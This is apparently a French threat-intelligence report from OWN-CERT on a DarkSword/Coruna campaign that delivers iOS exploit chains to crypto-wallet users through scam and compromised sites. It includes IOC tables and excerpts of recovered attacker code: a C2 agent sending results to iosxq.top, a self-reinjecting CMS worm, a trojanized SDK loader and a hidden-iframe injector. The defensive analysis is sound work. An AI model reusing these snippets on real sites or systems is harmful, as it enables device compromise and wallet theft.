Analyse de la menace
Cybercriminalité
Cyberattaque

Une nouvelle campagne DarkSword vise les portefeuilles de cryptomonnaies

OWN-CERT
-
28/10/2026
Nouvelle campagne DarkSword : des chaînes d’exploitation iOS ciblent les portefeuilles crypto via plus de 1 300 sites. Analyse technique par l’OWN-CERT.OWN Security

NB : Le 7 octobre 2026, Censys a publié un article de blog présentant à peu près les mêmes outils et le même tradecraft (nous disposons toutefois de certains IOC exclusifs). Nous n'avions pas connaissance de ces informations lors de la rédaction de notre propre article, bien que nous le publions à une date ultérieure. Si ce mode opératoire vous intéresse, nous vous recommandons également la lecture de l'article de Censys.

Résumé

Notre investigation a mis au jour une opération à grande échelle servant à diffuser des chaînes d'exploitation iOS liées à Darksword et Coruna contre des utilisateurs de cryptomonnaies, par le biais de pages d'arnaque, de sites web légitimes compromis, d'une infrastructure de type watering hole et, potentiellement, de composants de la chaîne d'approvisionnement (supply chain) compromis.

Nous avons identifié plus de 1 300 sites web participant (volontairement ou non) à cette activité de diffusion, notamment des sites de cryptomonnaies, de jeux d'argent, de contenu pour adultes, ainsi que des sites légitimes compromis. Notre investigation a révélé environ 100 C2 associés à Coruna et une centaine d'autres domaines pseudo-aléatoires associés à l'infrastructure C2 initiale.

L'analyse d'un unique identifiant publicitaire a mis en évidence un autre cluster de plus de 3 000 domaines malveillants liés à FUNNULL (Triad Nexus), ainsi que l'utilisation probable de CDN compromis pour diffuser des payloads sur des sites tiers.

Le backend et le code source exposés ont également révélé des capacités d'exploitation iOS, de commande et contrôle (C2), de collecte de wallets et de keychain iOS, d'exfiltration de données, ainsi que des capacités de bruteforce des passphrases de wallets. L'ensemble met en lumière une infrastructure industrialisée, qui s'appuie largement sur l'IA pour le développement et l'amélioration des chaînes d'infection.

Figure 1 : chaîne d'infection iOS de haut niveau

Point de départ

Nous avons identifié un open directory dont les noms de fichiers évoquaient l'exploitation iOS, le commande et contrôle (C2) et le vol de wallets de cryptomonnaies. Le répertoire était servi depuis l'IP 154.13.7[.]145 sur le port TCP 9999.

Une vérification de cette IP sur modat.io a révélé plusieurs services HTTP exposés. Le titre de l'une des pages, « 🩸 加密钱包守护者 - 管理后台 », se traduit par « 🩸 Gardien de wallets crypto - Tableau de bord d'administration ».

Figure 2 : modat.io results for 154.13.7[.]145

Le panneau exposé répertorie les appareils enrôlés ainsi que le statut du dernier beacon énvoyé, ce qui correspond à une interface de supervision destinée à l'opérateur.

Figure 3 : Main monitoring panel

Le panneau affichait quatre adresses IP sources. L'une d'elles était l'hôte C2 lui-même (154.13.7[.]145) ; deux autres correspondaient à des IP du fournisseur de proxys résidentiels AnyIP.

Le même hôte exposait également une seconde interface sur le port TCP 12580, intitulée « QQTIME C2 管理后台 » (« Backend de gestion C2 QQTIME »). Ses fonctions semblent davantage orientées vers la gestion des campagnes et des appareils que vers la simple supervision des beacons.

Figure 4 : QQTIME C2 panel

L'interface présente ensuite les capacités offertes par le malware et donne déjà des indications sur ce qui est ciblé : les wallets de cryptomonnaies.

Figure 5 : Wallet-decryption interface
Figure 6 : Remote compromised device-management interface

Contenu de l'open directory récupéré

Au moment de l'analyse, l'acquisition locale contenait 216 fichiers et 28 répertoires à la racine. Au total (de manière récursive), elle comptait plus de 13 000 fichiers, pour environ 1,10 Go :

  • 124 fichiers source Python, dont des utilitaires de patch d'infrastructure, de traitement de wallets et de post-exploitation ;
  • 91 fichiers JavaScript, dont des agents C2, des scripts de delivery et des modules présentés comme des exploits ;
  • 26 fichiers de logs, dont de volumineux logs HTTP et d'administration datés entre juillet et septembre 2026 ;
  • deux arborescences de résultats, c2_results et capture_bundle, contenant des artefacts de wallets et de keychains, avec de nombreux doublons.

Nous ne détaillerons pas l'intégralité du contenu de l'open directory, ce qui serait trop long ; les analyses existantes de Darksword et de Coruna suffisent à comprendre le fonctionnement de l'ensemble de la chaîne d'exploitation (fingerprinting => RCE => PAC bypasss => escape de sandbox => installation du stealer). Le code est abondamment commenté et décrit à plusieurs reprises la chaîne visée. Ces commentaires constituent des pistes utiles, mais ne prouvent pas que chaque étape d'exploitation soit fonctionnelle.

#!/usr/bin/env python3
"""
Crypto Wallet Guardian - Admin Server v3.0
Serves admin panel, wallet scanner, C2 beacon, AKS oracle endpoints
Enhanced with securscope.com architecture:
  - iOS 18.7 exploit chain (rce_worker_18.7.js + rce_module_18.7.js)
  - PE worker sandbox escape (pe_worker.js)
  - AKS Keychain Oracle (aks-oracle.js)
  - SpringBoard C2 implant (c2-springboard.js)
  - DARKSWORD AES-256-ECB C2 protocol
"""
import http.server
import json
import sqlite3
import hashlib

‍

Le dépôt définit des structures internes STAGE_MAP et IOS_EXPLOIT_MAP. Il s'agit d'affirmations du développeur (ou de son IA), et non d'un inventaire d'exploits validé : plusieurs libellés, numéros de version et attributions de CVE sont en contradiction avec les référentiels publics de vulnérabilités.

STAGE_MAP = {
    0: "fingerprint",          # Detect iOS version
    1: "webkit_rce",           # WebKit JIT exploit
    2: "sandbox_escape",       # Break out of WebContent sandbox
    3: "container_scan",       # Enumerate app containers
    4: "wallet_extract",       # Extract wallet databases
    5: "keychain_read",        # Read keychain items
    6: "exfil_complete",       # Data exfiltration complete
}

# iOS version → exploit method mapping
IOS_EXPLOIT_MAP = {
    13: {"webkit": "dfg_oob_2019",    "sandbox": "voucher_swap",    "kernel": "CVE-2019-8641"},
    14: {"webkit": "structure_id",    "sandbox": "oob_timestamp",   "kernel": "CVE-2021-1782"},
    15: {"webkit": "icache_poison",   "sandbox": "XPC_relay",       "kernel": "CVE-2022-32894"},
    16: {"webkit": "ftl_confusion",   "sandbox": "Triangulation",   "kernel": "CVE-2023-32434"},
    17: {"webkit": "dfg_array_push",  "sandbox": "XPC_audio",       "kernel": "CVE-2023-41990"},
    18: {"webkit": "jit_type_conf",   "sandbox": "IMessage_relay",  "kernel": "CVE-2025-24086"},
    19: {"webkit": "ftl_phi_node",    "sandbox": "Mach_port_UAF",   "kernel": "CVE-2026-11534"},
    20: {"webkit": "layout_ng_conf",  "sandbox": "IOKit_userclient","kernel": "CVE-2026-40123"},
    21: {"webkit": "wasm_jit_bug",    "sandbox": "driver_kit",      "kernel": "CVE-2026-40890"},
    22: {"webkit": "layout_ng2_conf", "sandbox": "ANE_relay",       "kernel": "CVE-2026-40167"},
    23: {"webkit": "ai_jit_conf",     "sandbox": "Neural_engine",   "kernel": "CVE-2026-50138"},
    24: {"webkit": "webcodecs_heap",  "sandbox": "media_service",   "kernel": "CVE-2026-50721"},
    25: {"webkit": "wasm_gc_conf",    "sandbox": "CFPrefs_relay",   "kernel": "CVE-2026-60145"},
    26: {"webkit": "neural_jit",      "sandbox": "XPC_tccd",        "kernel": "CVE-2026-80123"},

‍

Chaque ligne associe une version majeure d'iOS à une exécution WebKit, une escape de sandbox et une élévation de privilèges kernel. Le tableau ci-dessous distingue les éléments plausibles ou documentés publiquement des affirmations non étayées. À titre d'exemple, Apple est passé directement d'iOS 18 à iOS 26 : les lignes étiquetées iOS 19 à 25 ne peuvent donc correspondre à aucune version majeure publiée.

La présence d'un nom ou d'une CVE dans cette table ne prouve pas l'existence d'un code d'exploitation fonctionnel. Les cibles évidentes de ces exploits sont les wallets de cryptomonnaies présents sur les iPhone visés. Ce kit d'exploitation répertorie 18 wallets ciblés parmi lesquels : Trust Wallet, MetaMask, Coinbase, Binance Web3, Phantom, Exodus, Blockchain.com, Keplr, OKX/Bitget, etc.

Le fichier c2_agent_decoded.js contient le domaine iosxq[.]top pour le beaconing et l'envoi des résultats :

// C2 Agent Payload - persistent loop in SpringBoard
// Communicates with command.py via HTTP, runs until reboot
// https://iosxq.top/beacon / https://iosxq.top/result replaced by server.py at load time
// UUID and device model are obtained natively at runtime

const C2_BEACON_URL = "https://iosxq.top/beacon";
const C2_RESULT_URL = "https://iosxq.top/result";
const C2_CHANNEL_CODE = "";
const HQ_API_BASE = "https://iosxq.top";
const HQ_WALLET_PORT = "443";
const MAX_FILE_SIZE = 2 * 1024 * 1024;
const CHUNK_SIZE    = 1024 * 1024;

‍

Une fois l'ensemble de la chaîne d'exploitation exécuté, la persistance est assurée par l'injection d'une charge « agent C2 » dans le SpringBoard (le processus de l'interface/UI d'iOS). Il s'agit d'un malware JavaScript injecté dans un processus système (SpringBoard/configd), qui maintient une boucle de beaconing HTTPS jusqu'au redémarrage de l'appareil. Le code source analysé mentionne deux domaines supplémentaires :

  • appvip[.]cyou : un tableau de bord d'administration reposant sur FastAPI, qui héberge également des fichiers présentés comme des exploits ainsi que des contenus leurres sur le thème du trading ;
sessions = {}
devices_cache = []
app = FastAPI(title="appvip.cyou Backend", docs_url=None, redoc_url=None)
app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_credentials=True, allow_methods=["*"], allow_headers=["*"])

‍

  • securscope[.]com : un libellé utilisé par le serveur local pour les composants de diffusion d'exploits et d'extraction de wallets. Le code source montre la logique de routage et de chiffrement, mais ne prouve pas à lui seul que le domaine public ait effectivement servi ces fichiers.

Aussi, d'après un commentaire présent dans le fichier C2-springboard.js, les fichiers auraient probablement été volés depuis securscope[.]com, puis reverse avant d'être réutilisés.

# === SECURSCOPE MODULES (securscope.com architecture) ===
        if path == "/aks-oracle.js":
            self._serve_file(STATIC_DIR / "aks-oracle.js", "application/javascript")
            return
        if path == "/c2-springboard.js":
            self._serve_file(STATIC_DIR / "c2-springboard.js", "application/javascript")
            return
        if path == "/securscope-exploit-loader.js":
            self._serve_file(STATIC_DIR / "securscope-exploit-loader.js", "application/javascript")
            return
        # Securscope exploit payloads (large files)
        if path == "/rce_worker_18.7.js":
            self._serve_file(STATIC_DIR / "rce_worker_18.7.js", "application/javascript")
            return

‍

Nous avons également identifié un fichier nommé ios_exploit_fallback.js. Cet échantillon est fortement obfusqué et structurellement identique au kit d'exploitation Coruna (qu'il s'agisse d'une version antérieure ou d'un fork modifié du kit). Il intègre son propre ensemble de C2, utilisés pour récupérer les charges des étapes suivantes :

DomainPurposeEndpoint
19kl9cd2tc9czvy.icuPrimary C2 / exploit deliveryGET to /api/exploit/{hash}
19kl9cd2tc9czvy.icuPOST to /api/ip-sync/sync
ipv4.icanhazip.comClient IP resolutionGET (plain text response)
g.cn/1.phpPossible redirect / secondary handler-

‍

Nous avons par ailleurs identifié au moins 102 domaines C2 liés à Coruna correspondant au même motif. Ils résolvent tous vers des IP Cloudflare (AS13335). Nous les considérons tous comme malveillants, et certains sont déjà signalés comme tels. La liste complète des C2 sera ajoutée à notre GitHub.

Infrastructure

Les fichiers de déploiement locaux identifient appvip[.]cyou comme le service d'administration basé sur FastAPI et contiennent des identifiants du panel hardcodés. L'adresse IP vers laquelle résolvait ce domaine au moment de l'enquête (202.95.13[.]219) exposait, sur le port 12580, une page de connexion mentionnant explicitement « qqtime ».

Cette page est celle de la « qqtime Operations Management Console » (console de gestion des opérations qqtime), une plateforme de gestion centralisée des appareils, de déploiement de tâches et de supervision des journaux de communication.

Figure 7 : qqtime backend operation console

Quelques pivots sur modat.io, à partir de résolutions DNS directes (forward DNS) des domaines identifiés sur l'IP initiale (202.95.13[.]219), nous ont permis de mettre au jour un cluster de nouveaux domaines et IP, tous hébergés dans la même AS Hongkongaise : AS152194.

Figure 8 : modat.io forward DNS lookups pivots

En l'absence de référence open source identifiable (au moment de la rédaction) du framework « qqtime », et compte tenu de son utilisation observée dans des opérations malveillantes, il pourrait s'agir d'un panneau d'administration développé en privé ou revendu, utilisé par des opérateurs déployant des outils tels que « Darksword » et « Coruna » dans le cadre d'opérations d'arnaque aux cryptomonnaies et de jeux d'argent.

Vous trouverez ci-dessous la liste des domaines identifiés et directement liés au backend appvip[.]cyou :

DomainCreateDateIPASNRegistrarFirstSeen
1234567.my25/07/202627.50.54.92152194DYNADOT LLC26/07/2026
12345678.my27/06/2026134.122.205.28152194DYNADOT LLC28/06/2026
1app.mom20/07/2026202.95.13.219152194DYNADOT LLC20/07/2026
app1.mom18/07/2026134.122.205.28152194DYNADOT LLC18/07/2026
app123456.cyou13/09/202691.92.42.11197170DYNADOT LLC13/09/2026
app12345678.cyou13/09/202691.92.42.11197170DYNADOT LLC13/09/2026
appcom.mom18/07/2026202.95.13.219152194DYNADOT LLC18/07/2026
appgo.mom24/07/2026202.95.13.219152194DYNADOT LLC24/07/2026
appvip.cyou21/07/2026202.95.13.219152194DYNADOT LLC21/07/2026
black-rock.mom16/11/2025202.95.13.219152194DYNADOT LLC16/11/2025
cryptofxpro.cyou15/07/2026202.95.13.219152194DYNADOT LLC15/07/2026
kuda-jitu.com04/07/2026202.95.13.219152194NameCheap, Inc.05/07/2026
marinabaysandsapp.cyou13/09/202691.92.42.11197170DYNADOT LLC13/09/2026
marinabaysandscasinogo.cyou12/09/2026112.213.124.24152194DYNADOT LLC12/09/2026
marinabaysandscasino-go.cyou12/09/2026112.213.124.24152194DYNADOT LLC12/09/2026
nami-app.cyou09/09/2026202.95.13.219152194DYNADOT LLC09/09/2026
paters-vips.mom27/12/2025202.95.13.219152194DYNADOT LLC27/12/2025
topno1.cyou08/07/2026202.95.13.219152194DYNADOT LLC08/07/2026
xxxsc168.top17/07/2026134.122.205.28152194Spaceship, Inc.17/07/2026

Par ailleurs, en pivotant sur les données de passif DNS associées à l'IP 154.13.7[.]145 (le premier C2 découvert), nous avons découvert une centaine de domaines .info pseudo-aléatoires. Ils seront ajoutés à notre GitHub.

À la date couverte par les données de l'investigation, iosxq[.]top résolvait vers 134.122.155[.]246. Des pivots sur le certificat TLS ont permis d'identifier deux hôtes voisins présentant le même certificat. Ces IP appartiennent au même AS, déjà identifié à de nombreuses reprises dans ce rapport. Certaines sont déjà détectées comme open directories et exposent, bien entendu, plus ou moins les mêmes pages web utilisées pour diffuser Darksword / Coruna.

IPASNCountryCert CNCert issuerValidity period
134.122.155.243AS152194HKiosxq.topLet's Encrypt / YR22026-08-08 → 2026-11-06
134.122.155.246AS152194HKiosxq.topLet's Encrypt / YR22026-08-08 → 2026-11-06
134.122.155.252AS152194HKiosxq.topLet's Encrypt / YR22026-08-08 → 2026-11-06

Une infrastructure pas si légitime

Pris dans leur ensemble, les interfaces et le code source révèlent un système conçu pour monitorer des appareils compromis, collecter des données de wallets et prendre en charge des processus de récupération et bruteforce de passphrases. Le code démontre ces capacités, mais les éléments disponibles ne permettent d'établir ni le nombre d'appareils touchés, ni si chaque étape d'exploitation a réellement fonctionné.

Il reste cependant une question analytique : comment les cibles sont-elles orientées vers les charges présentées comme des exploits ?

Nous avons identifié au moins 3 sites web ayant contacté iosxq[.]top :

  • amormxa[.]com présentait un parcours d'inscription pour un site de rencontre, suivi d'une étape de « vérification du wallet » demandant les phrases de récupération ou les clés privées sous prétexte de recevoir des récompenses. Il s'agit davantage d'une arnaque directe d'hameçonnage de passphrases.
  • wemart[.]com, wenchaogroup[.]com et wenchaogroup[.]cn semblaient être des propriétés légitimes du groupe WenChao. Ils doivent donc être considérés comme une infrastructure potentiellement compromise plutôt que comme des domaines appartenant à l'acteur, sauf si des éléments (non identifiés) relatifs à l'enregistrement ou au contrôle administratif indiquent le contraire.
Figure 9 : "wenchao group" websites and "amormxa" websites

Nous avons également récupéré un fichier nommé safari-pop.js, qui tente de faire basculer les utilisateurs du navigateur intégré de Facebook/Instagram vers Safari au moyen d'une passerelle par QR code via iosxq[.]top/qr-go, et qui remonte des événements vers l'endpoint /api/v2/ingest. Cette infrastructure fait partie du même cluster qu'amormxa[.]com et nous avons  également observé le domaine loveguo88[.]blog déployer ce qui semble être un loader ShellA, potentiellement lié au RAT Android PanDa, déjà identifié par Intel471. Il s'agit toutefois d'une investigation différente que nous aurons peut-être l'occasion de documenter ultérieurement.

IPASNCountryDomainRegistrarCreateDate
168.93.199.102AS140869USamormxa.comWest263 International Limited2026-07-28
propiedadess.comWest263 International Limited2026-07-28
dilse.topNameMart Pte. Ltd2026-05-29
(cloudflare IPs)AS13335USloveguo88.blogNameSilo, LLC2026-06-26

‍

Le vecteur d'accès initial des deux sites d'entreprise apparemment compromis reste inconnu.

L'artefact lié à wemart[.]com contient, dans wm-worm.js, un mécanisme de persistance propre au site. Celui-ci vérifie la présence d'une session administrateur authentifiée, lit des enregistrements via les API d'extensions du CMS et insère le loader iosxq[.]top/c2-inject.js devant neuf champs stockés en base de données.

function beacon(kv) {
      try { (new Image()).src = 'https://iosxq.top/d.txt?wm_worm=' + kv + '&r=' + Math.random(); } catch (e) {}
    }
    /* 治愈一个插件表: 拉全量行, 缺失标签的字段原文前置 TAG 后回写(部分更新, 其他字段不动) */
    function heal(addon, field, done) {
      xhrGet('/addons/execute/wc_web-' + addon + '-index?page=1&limit=200', function (j) {
        if (!j || !j.data || !j.data.length) { if (done) done(0); return; }
        var rows = j.data, i = 0, edited = 0;
        function next() {
          if (i >= rows.length) { if (done) done(edited); return; }
          var r = rows[i++];
          var v = r[field] || '';
          if (v.indexOf('c2-inject.js') >= 0) { next(); return; }
          var d = { id: String(r.id) };
          d[field] = TAG + v;
          xhrPost('/addons/execute/wc_web-' + addon + '-edit', d, function (res) {
            if (res && res.code === 1) edited++;
            setTimeout(next, 400);
          });
        }
        next();
      });
    }


Il en résulte des injections de scripts stockées auto-réparatrices : supprimer le loader d'un champ infecté ne suffit pas si un administrateur authentifié charge ensuite un autre enregistrement infecté, puisque le worm réécrit alors la balise.

   /* 后台会话探测: 无会话 -> TP 302 到 Login 页(redirected), 有会话 -> 200 */
    fetch('/admin/main/index.html', { credentials: 'include' }).then(function (r) {
      if (r.redirected || r.status !== 200) return;
      try {
        if (sessionStorage.getItem('__wm_worm_run')) return;
        sessionStorage.setItem('__wm_worm_run', '1');
      } catch (e) {}
      beacon('admin_hit');
      step();
    }).catch(function () {});
  } catch (e) {}
})();

‍

Le worm démontre un mécanisme de persistance et de propagation, mais n'explique pas l'accès initial. Parmi les prérequis plausibles figurent des identifiants administrateur compromis, l'abus d'un endpoint d'édition du CMS ou un accès distinct côté serveur. La présence de wm-worm.js dans le jeu de données côté serveur récupéré témoigne d'une intention de préparation (staging) ou de déploiement, mais ne prouve pas, à elle seule, la manière dont le site a été initialement compromis.

Hunting du framework “qqtime”

Une question demeurait : qqtime était-il un framework limité à notre cluster relativement restreint et au petit open directory que nous avions découvert, ou était-il utilisé beaucoup plus largement ?

Sans surprise, son exploitation est bien plus étendue que ce que nous avions initialement découvert. À titre d'exemple, nous avons identifié les requêtes suivantes sur un site web :

  1. GET to https[:]//js.apiforxwork[.]net/qqtime/qqtime.html
  2. GET to https[:]//js.apiforxwork[.]net/qqtime/34ef644ff217a50beadde64dc8e23a7d.js -> Darksword
  3. GET to https[:]//ipv4.icanhazip.com
  4. POST to https[:]//1x8gmjbdq3tepgr.icu/api/ip-sync/sync

Ce flux est cohérent avec les chaînes identifiées précédemment : appels au C2 principal qqtime, déploiement du kit d'exploitation Darksword / Coruna, vérification de l'IP via le service ipv4.icanhazip.com et, enfin, beaconing vers un domaine malveillant en .icu.

Nous avons identifié au moins 1 300 sites web ; la plupart sont des sites d'arnaque classiques (cryptomonnaies, jeux d'argent, sites pour adultes), mais on compte aussi des sites légitimes compromis utilisés comme watering holes (sites WordPress vulnérables ou compromissions de la supply-chain, impliquant souvent des paquets npm trojanisés).

Compte tenu de l'ampleur du phénomène, nous estimons qu'il ne s'agit que de la partie émergée de l'iceberg et qu'il existe vraisemblablement bien d'autres sites compromis.

NB : cette campagne est toujours très active, et il est possible d'identifier un très grand nombre de sites compromis ou malveillants déployant ces charges.

Un cluster “FUNNULL” cluster et un possible CDN compromis

En pivotant sur le titre de site web « 🩸 加密钱包守护者 - 管理后台 », nous avons identifié 86 autres domaines générés de manière pseudo-aléatoire.

Cela nous a permis d'identifier un nouveau cluster associé au domaine a.360doo[.]cn, qui associé à l'IP 103.20.220[.]36.

Cette IP héberge de nombreux domaines malveillants, et nous pensons qu'elle pourrait appartenir à un cluster voisin distinct (peut-être un même acteur malveillant gérant deux infrastructures distinctes). Certains des domaines ou sous-domaines identifiés ont été créés via des services de DNS dynamique connus (eu.org, ClouDNS, DigitalPlat, DNSExit ou Freenom).

Nous n'avons pas analysé l'ensemble de ces domaines mais, à titre d'exemple, le domaine suanjin[.]tk a été contacté depuis le site web http[:]//www[.]maoyingku3.me.

Avec iPhone doté de la version adéquate et d'un proxy situé en Asie, nous avons pu observer des tentatives d'infection Darksword. La chaîne d'infection complète observée est la suivante :

Tout d'abord, le fichier sdk.51.la/js-sdk-pro.min.js est servi sur le domaine principal sous la forme du SDK authentique (v1.58.5), auquel est ajouté un bloc obfusqué.

Le fichier est téléchargé depuis https[:]//sdk.51[.]la/js-sdk-pro.min.js.

C'est la version désobfusquée de ce script qui charge le premier JavaScript de la chaîne d'infection :

function is_mob() {
  // Skip desktops: same platform gate as the Socket-documented loaders
  if (!/^Mac|Win/.test(navigator.platform)) {
    var ua = navigator.userAgent.toLowerCase();
    return /(iphone|ipad|android|mobile|phone|tablet)/.test(ua);
  }
  return false;
}
function loadJS(url, cb) {
  var s = document.createElement('script');
  s.type = 'text/javascript';
  s.onload = cb || function () {};
  s.src = url;
  document.getElementsByTagName('head')[0].appendChild(s);
}

if (is_mob()) loadJS('https://cdn.data-2935[.]com/app.vue.js');

‍

Lors de nos tentatives, les requêtes adressées à cdn.data-2935[.]com ont abouti à une réponse 301 « Moved Permanently ». Nous ne savons pas avec certitude s'il s'agissait du comportement attendu (nous le pensons), mais quoi qu'il en soit, la suite de la chaîne d'infection a continué de s'exécuter.

Ensuite, une frame secondaire est chargé depuis ce qui semble être un CDN, edgecdnstatic[.]com. La version désobfusquée de cette étape d'injection de type watering hole est présentée ci-dessous :

(function () {
  function injectHiddenIframe() {
    // Only inject once per page
    if (document.getElementById('hidden-iframe')) return;
    var iframe = document.createElement('iframe');
    iframe.id = 'hidden-iframe';
    // Math.random() busts caches so every visit fetches a fresh copy
    iframe.src = 'hxxps://www.edgecdnstatic[.]com/start-view.html?' + Math.random();

    // Make the iframe invisible and non-interactive
    iframe.style.position = 'fixed';
    iframe.style.top = '0';
    iframe.style.left = '-1000px';
    iframe.style.width = '0';
    iframe.style.height = '0';
    iframe.style.pointerEvents = 'none';
    iframe.style.border = '0';

    // Insert as the first element in <body>
    if (document.body.firstChild) {
      if (document.body.prepend) {
        document.body.prepend(iframe);
      } else {
        document.body.insertBefore(iframe, document.body.firstChild);
      }
    } else {
      document.body.appendChild(iframe);
    }
  }
  // Run
  if (document.readyState === 'loading') {
    document.addEventListener('DOMContentLoaded', injectHiddenIframe);
  } else {
    injectHiddenIframe();
  }
})();

‍

Le flux observé est le suivant :

  1. Navigate to http[:]//www[.]maoyingku3.me/
  2. GET to https[:]//sdk.51[.]la/js-sdk-pro.min.js => first stage injected iframe
  3. GET to https[:]//cdn.data-2935[.]com/app.vue.js => 301 moved permanently
  4. GET to https[:]//www[.]edgecdnstatic.com/98jgbibyeep2qfkvcq.html?0.9834193181307794 (through a secondary loaded frame) => 307 temporary redirect
  5. GET to https[:]//suduncdn[.]net/assets/js/group.html => 307 temporary redirect
  6. GET to https[:]//gewc61.cc/assets/js/group.html => final C2

Juste après, les charges Darksword sont demandées au C2 :

TypeURLResponse SHA256IPASN
GEThttps://gewc61.cc/assets/js/rce_loader.js?178998635724526dd3693e4f86b2af02681680429a120e5389e2bdf6e4227f3ed45babfeb882e188.114.96.3AS13335 (cloudflare)
GEThttps://gewc61.cc/assets/js/rce_worker_18.6.js?17899863577944df20a173ae6da2291fd66cb28a165958a9a6f5998ef9a19e4e143b120f1a844188.114.96.3AS13335 (cloudflare)
GEThttps://gewc61.cc/assets/js/rce_module_18.6.js?178998635865737efaa4237a28a4be411d40de80b2935be5b8c4e6731ee1f858c609142a87445188.114.96.3AS13335 (cloudflare)
POSThttps://gewc61.cc/cdn-cgi/rume3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855188.114.96.3AS13335 (cloudflare)

‍

Un dernier beacon Cloudflare Web Analytics est envoyé au C2 (gewc61[.]cc) ; il transmet des métriques anonymes de performance de chargement de la page (temps de chargement, informations sur le navigateur et token du site). Lors de nos tentatives de récupération de la charge finale, il arrivait, dans certaines conditions, que nous soyons simplement redirigés vers une page de fraude publicitaire / de jeux d'argent telle que : https[:]//www.jcddha[.]vip:6600/register?agent_code={NUM}

Un seul identifiant Google Analytics mène à plus de 3 000 domaines malveillants

Ces acteurs malveillants diffusant et suivant leurs campagnes au moyen du malvertising, il est donc possible de récupérer les identifiants des campagnes et de les tracker. En nous basant uniquement sur l'identifiant Google Analytics « G-LNPJ2SD0MB », nous avons obtenu une liste de plus de 3 000 domaines malveillants. Nous estimons qu'il pourrait en réalité y en avoir bien davantage.

Ces sites web affichent généralement des pages liées à des contenus pour adultes (NSFW), de streaming ou de jeux d'argent en cryptomonnaies, avec parfois un bouton permettant de télécharger une application pour iOS ou Android.

À ce stade, il paraissait assez clair que l'ensemble de l'infrastructure associée à ce cluster correspondait aux TTPs de FUNNULL (Triad Nexus), un groupe déjà bien décrit par SilentPush ou socket.dev, qui a également détaillé la chaîne de diffusion reposant, à l'origine, sur la compromission de paquets npm.

51.la est un fournisseur chinois de services d'analytics web et de statistiques de trafic, populaire et établi de longue date, également connu sous le nom de « 我要啦 » (Woyao La). Il fournit un SDK utilisé pour le suivi du trafic, l'analyse de données web, l'optimisation SEO et d'autres fonctionnalités d'e-commerce et de marketing. Dans notre cas, nous pensons que la chaîne d'exploitation pourrait être liée à un CDN compromis (intentionnellement ou non) appartenant à cette société, puisque la première charge de SDK trojanisé était distribuée via une URL légitime : https[:]//sdk.51[.]la/js-sdk-pro.min.js. Il convient également de mentionner que l'un des CDN malveillants observés, edgecdnstatic[.]com, fait partie d'une infrastructure liée à yunray[.]ai (un domaine identifié dans le rapport de socket.dev). L'adresse e-mail admin@yunray[.]ai est associée à plus de 400 domaines, tous malveillants. Selon SilentPush, Yunrai est l'un des noms/façades utilisés par le groupe FUNNULL, qui recourt à une image de marque professionnelle pour inspirer confiance.

Ci-dessous se trouve un exemple de canal Telegram identifié, qui fait la promotion de services de CDN avec protection et défense anti-DDoS. Évidemment, cette prétendue infrastructure est également largement monétisée aux dépens des clients…

Figure 10 : one identified telegram channel offering malicious CDN services

Familles et variantes du même SDK trojanisé

Nous avons également identifié 52 variantes trojanisées de sdk.51.la/js-sdk-pro.min.js, observées en circulation et déployées sur les sites web suivants :

SHA256Observed domainObserved URLtrojanizedfamilyinjected_urlinjected_host
046a1093c50ddd50ebbc7cbf531ac3b8189fead2168181d410ffd07737ca290estudioknw.comhttp://studioknw.comyesdwrite-loader/tnmglb/notj.jssame-origin
0bd9dcc48a82de75c7fad3fcc234f4be872a9b8f09bf50e8dbb015f833e7ae236itc.comhttp://6itc.comyesdwrite-loader/tnmglb/notj.jssame-origin
20c19d748c48bbf2202bd195ba5ac74390ab50978ee49d83d301861eb49fcd2dleyahr.comhttp://leyahr.comyesdwrite-loader/fafafa.jssame-origin
4f000a328bdbfe3d7f4f0e5ae197f1020b5e8c5a26e57ba88a60126e65d4980ffsjsymtc.comhttp://fsjsymtc.com/wp-admin/css/wp-login.phpyesdwrite-loader/tnmglb/notj.jssame-origin
518b5b5dbf9a64206b349a58173f8f739a031f56e1ae739c8efe6eb30a678d92infomonex.wflpump.comhttp://infomonex.wflpump.comyesdwrite-loader/nb.jssame-origin
62e7b254e4882d815a2015c411b8216a4908886cfa2f9437d2d9096f098b8bee22-33-44-55.bjxyyy.comhttp://22-33-44-55.bjxyyy.com/PNCyesdwrite-loader/tnmglb/notj.jssame-origin
6484c3a992892e3a6cf1014afcafd82822915f26d9b5f2df83571b5554fd4e16hndltx.comhttp://hndltx.com/nl/appyesdwrite-loader/tnmglb/notj.jssame-origin
717fc14783768ac84dcd36524f124cbdfe5039c7923048a299dfc91338874b1ah5.hmcs899.comhttp://h5.hmcs899.comyesdwrite-loader/tnmglb/notj.jssame-origin
78c916d10d4a5c8ffd5f9cad8c6e1062fcab4e04bd65827e81b11610d3e48c083qdx.gaoyoutc.comhttp://3qdx.gaoyoutc.comyesdwrite-loader/tnmglb/notj.jssame-origin
a720a4508ba844d1b88e777abac9ccd9e5d4168afbd23cee34b9ab050aaa64a5cnsenews.comhttp://cnsenews.comyesdwrite-loader/tnmglb/notj.jssame-origin
be5c36c08a6402a2d49f532adc5bbb020990027dda3ee490cf3902efac90426bszjhqq.comhttp://szjhqq.comyesdwrite-loader/tnmglb/notj.jssame-origin
bfe08bde77f572b8a46cc0923371968a1bd13f7c8fb022d5158e2ebc19a7623bxboer.comhttp://xboer.comyesdwrite-loader/common.jssame-origin
d936b88b2d3e263d5c509b98f9560a77a9a66c569c78cca3314537fc24813e6crjrack.comhttp://rjrack.comyesdwrite-loader/tnmglb/notj.jssame-origin
da1895fb5dc8825722216ea253818795d61ac09ee7b0fcb3fb7f855a7a22471bcdn.hxznzs.comhttp://cdn.hxznzs.comyesdwrite-loader/tnmglb/notj.jssame-origin
f2a0c21188c54d45312f0767e3ad3e91824c070cbdf3ea7f62138bf2e7e7f63cm.yxfojiao.comhttp://m.yxfojiao.com/knabing-ityesdwrite-loader/fafafa.jssame-origin
5a52e5efa51faa7f530de4b7c458187f3a13e57708a6a1487a84da301d2d8d231111560.cchttp://1111560.cc/JSkKHH0sDygRPyOEQaIUEIgDJSNKH0pWrIuOEkWOJSLBQD0.htmlyesjsjiami-overlayhttps://34.92.229.121:56744/mktland34.92.229.121:56744
8b1c50e1d1e28665dfa0a4b47daab6607bc0c0a3a2f06e263eaa2cf74822e9302698ko.viphttp://2698ko.vipyesjsjiami-overlayhttps://34.92.229.121:56744/mktland34.92.229.121:56744
98fae63fcd3626ddc4b663eeeca41128e52c257e4852cd57941225780d49dadb988bets.viphttp://988bets.vipyesjsjiami-overlayhttps://34.92.229.121:56744/mktland34.92.229.121:56744
